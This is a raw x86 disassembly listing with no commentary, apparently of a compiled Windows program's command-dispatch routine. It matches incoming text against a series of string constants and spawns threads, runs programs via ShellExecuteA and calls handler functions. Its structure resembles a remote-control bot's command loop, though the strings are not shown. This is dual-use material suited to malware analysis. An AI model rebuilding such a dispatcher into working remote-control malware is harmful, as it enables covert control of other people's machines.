mov eax, dword [ebp - 0x1a8]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
xor eax, eax
push ebp
push 0x479e4a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x1a8]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x479e31
inc ebx
xor esi, esi
lea ecx, [ebp - 0x1c]
mov edx, esi
mov eax, dword [ebp - 0x1a8]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00405a44
mov edx, dword [ebp - 0x1c]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0x1c]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00405a44
mov edx, dword [ebp - 0x1c]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0x1c]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00405a44
mov edx, dword [ebp - 0x1c]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0x1c]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
call fcn.004055c8
push 0x10
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x1a4]
mov edi, eax
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [edi + 4]
mov edx, dword [ebp - 0x10]
call fcn.00405584
lea eax, [edi + 8]
mov edx, dword [ebp - 0x14]
call fcn.00405584
lea eax, [edi + 0xc]
mov edx, dword [ebp - 0x18]
call fcn.00405584
lea eax, [ebp - 4]
push eax
push 0
mov eax, dword [ebp - 0x1a4]
push eax
push 0x475bcc
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push eax
call sub.kernel32.dll_CloseHandle_1
inc esi
dec ebx
jne 0x479cf4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x479e51
mov eax, dword [ebp - 0x1a8]
call fcn.00404650
ret
lea eax, [ebp - 0x558]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x558]
mov edx, 0x47e058
call fcn.00405974
jne 0x479f41
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
push 0x10
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x1a4]
mov ebx, eax
mov eax, ebx
mov edx, dword [ebp - 0xc]
call fcn.00405584
lea eax, [ebx + 4]
mov edx, dword [ebp - 0x10]
call fcn.00405584
lea eax, [ebx + 8]
mov edx, 0x47d4e8
call fcn.00405584
lea eax, [ebx + 0xc]
mov edx, 0x47dd44
call fcn.00405584
lea eax, [ebp - 4]
push eax
push 0
mov eax, dword [ebp - 0x1a4]
push eax
push 0x475bcc
push 0
push 0
call sub.kernel32.dll_CreateThread_1
push eax
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x55c]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x55c]
mov edx, 0x47e070
call fcn.00405974
jne 0x479fe0
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x560]
call fcn.0048a1d4
lea eax, [ebp - 0x560]
mov edx, 0x47e084
call fcn.00405818
mov edx, dword [ebp - 0x560]
mov eax, dword [ebp - 8]
call fcn.0048b18c
push 0
push 0
push 0
lea eax, [ebp - 0x564]
call fcn.0048a1d4
lea eax, [ebp - 0x564]
mov edx, 0x47e084
call fcn.00405818
mov eax, dword [ebp - 0x564]
call fcn.004059dc
push eax
push 0x47e094
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 8]
mov edx, 0x47e0a4
call fcn.00405974
jne 0x47a073
lea eax, [ebp - 0x568]
call fcn.00470c7c
cmp dword [ebp - 0x568], 0
je 0x47a033
lea eax, [ebp - 0x570]
call fcn.00470c7c
mov ecx, dword [ebp - 0x570]
lea eax, [ebp - 0x56c]
mov edx, 0x47e0c0
call fcn.00405864
mov eax, dword [ebp - 0x56c]
call fcn.00475d90
lea eax, [ebp - 0x574]
call fcn.00470ca8
cmp dword [ebp - 0x574], 0
je 0x47a073
lea eax, [ebp - 0x57c]
call fcn.00470ca8
mov ecx, dword [ebp - 0x57c]
lea eax, [ebp - 0x578]
mov edx, 0x47e0d4
call fcn.00405864
mov eax, dword [ebp - 0x578]
call fcn.00475d90
mov eax, dword [ebp - 8]
mov edx, 0x47e0e8
call fcn.00405974
jne 0x47a0ae
lea eax, [ebp - 0x584]
call fcn.00470c7c
mov ecx, dword [ebp - 0x584]
lea eax, [ebp - 0x580]
mov edx, 0x47e104
call fcn.00405864
mov eax, dword [ebp - 0x580]
call fcn.00475d90
lea eax, [ebp - 0x588]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x588]
mov edx, 0x47e118
call fcn.00405974
jne 0x47a127
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
movzx eax, byte [0x47d4b0]
push eax
lea eax, [ebp - 0x58c]
push eax
mov ecx, 0x47e12c
mov edx, 0x47e138
mov eax, dword [ebp - 8]
call fcn.0040ef44
mov edx, dword [ebp - 0x58c]
lea eax, [ebp - 8]
call fcn.004055c8
call fcn.00431a10
mov edx, dword [ebp - 8]
call fcn.00431598
mov eax, dword [ebp - 8]
mov edx, 0x47e144
call fcn.00405974
jne 0x47a140
call fcn.00431a10
mov edx, dword [eax]
call dword [edx + 0x10]
lea eax, [ebp - 0x590]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x590]
mov edx, 0x47e154
call fcn.00405974
jne 0x47a224
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x594]
call fcn.00470e40
mov eax, dword [ebp - 0x594]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f3c
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47e168
call fcn.00405974
jne 0x47a2b7
push 0
call sub.ole32.dll_CoInitialize
xor eax, eax
push ebp
push 0x47a2b0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x59c]
call fcn.00464f18
mov eax, dword [ebp - 0x59c]
lea edx, [ebp - 0x598]
call fcn.00409b7c
cmp dword [ebp - 0x598], 0
je 0x47a29d
lea eax, [ebp - 0x5a4]
call fcn.00464f18
mov ecx, dword [ebp - 0x5a4]
lea eax, [ebp - 0x5a0]
mov edx, 0x47e178
call fcn.00405864
mov eax, dword [ebp - 0x5a0]
call fcn.00475d90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47a2b7
call sub.ole32.dll_CoUninitialize
ret
lea eax, [ebp - 0x5a8]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x5a8]
mov edx, 0x47e18c
call fcn.00405974
jne 0x47a39b
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4ac
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x5ac]
call fcn.0048b248
mov eax, dword [ebp - 0x5ac]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f3c
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47e1a4
call fcn.00405974
jne 0x47a3af
call fcn.0046dd3c
mov eax, dword [ebp - 8]
mov edx, 0x47e1b8
call fcn.00405974
jne 0x47a3c3
call fcn.0046dd60
mov eax, dword [ebp - 8]
mov edx, 0x47e1cc
call fcn.00405974
jne 0x47a3d7
call fcn.0046db64
mov eax, dword [ebp - 8]
mov edx, 0x47e1e0
call fcn.00405974
jne 0x47a3eb
call fcn.0046dbc8
mov eax, dword [ebp - 8]
mov edx, 0x47e1f4
call fcn.00405974
jne 0x47a3ff
call fcn.0046dc2c
mov eax, dword [ebp - 8]
mov edx, 0x47e210
call fcn.00405974
jne 0x47a413
call fcn.0046dc70
mov eax, dword [ebp - 8]
mov edx, 0x47e22c
call fcn.00405974
jne 0x47a427
call fcn.0046dcb4
mov eax, dword [ebp - 8]
mov edx, 0x47e248
call fcn.00405974
jne 0x47a43b
call fcn.0046dcf8
mov eax, dword [ebp - 8]
mov edx, 0x47e264
call fcn.00405974
jne 0x47a44f
call fcn.004711b4
mov eax, dword [ebp - 8]
mov edx, 0x47e278
call fcn.00405974
jne 0x47a463
call fcn.0047118c
mov eax, dword [ebp - 8]
mov edx, 0x47e28c
call fcn.00405974
jne 0x47a479
xor eax, eax
call fcn.00471204
mov eax, dword [ebp - 8]
mov edx, 0x47e2a4
call fcn.00405974
jne 0x47a48f
mov al, 1
call fcn.00471204
mov eax, dword [ebp - 8]
mov edx, 0x47e2bc
call fcn.00405974
jne 0x47a4a5
xor eax, eax
call fcn.00471124
mov eax, dword [ebp - 8]
mov edx, 0x47e2d8
call fcn.00405974
jne 0x47a4bb
mov al, 1
call fcn.00471124
mov eax, dword [ebp - 8]
mov edx, 0x47e2f4
call fcn.00405974
jne 0x47a4d1
mov al, 1
call fcn.00470fe8
mov eax, dword [ebp - 8]
mov edx, 0x47e310
call fcn.00405974
jne 0x47a4e7
xor eax, eax
call fcn.00470fe8
mov eax, dword [ebp - 8]
mov edx, 0x47e32c
call fcn.00405974
jne 0x47a4fb
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47d444
lea eax, [ebp - 0x7ac]
mov edx, 0x27
call fcn.00405554
lea eax, [ebp - 0x710]
call fcn.0040700c
lea eax, [ebp - 0x70c]
mov edx, 0x3b
call fcn.00405554
lea eax, [ebp - 0x61c]
call fcn.00405530
lea eax, [ebp - 0x620]
call fcn.00405530
lea eax, [ebp - 0x618]
mov edx, 0x5d
call fcn.00405554
lea eax, [ebp - 0x4a4]
call fcn.0040700c
lea eax, [ebp - 0x4a0]
call fcn.00405d28
lea eax, [ebp - 0x49c]
call fcn.0040700c
lea eax, [ebp - 0x498]
call fcn.00405d28
lea eax, [ebp - 0x494]
call fcn.0040700c
lea eax, [ebp - 0x490]
call fcn.00405d28
lea eax, [ebp - 0x48c]
call fcn.0040700c
lea eax, [ebp - 0x488]
call fcn.00405d28
lea eax, [ebp - 0x484]
call fcn.0040700c
lea eax, [ebp - 0x480]
call fcn.00405d28
lea eax, [ebp - 0x47c]
mov edx, dword [0x45e9c4]
mov ecx, 5
call fcn.004060f8
lea eax, [ebp - 0x468]
mov edx, 0x37
call fcn.00405554
lea eax, [ebp - 0x384]
mov edx, 0x24
call fcn.00405554
lea eax, [ebp - 0x2f4]
mov edx, 0x3b
call fcn.00405554
lea eax, [ebp - 0x198]
mov edx, dword [0x408b28]
call fcn.004060ac
lea eax, [ebp - 0x38]
call fcn.00411650
lea eax, [ebp - 0x28]
mov edx, 9
call fcn.00405554
ret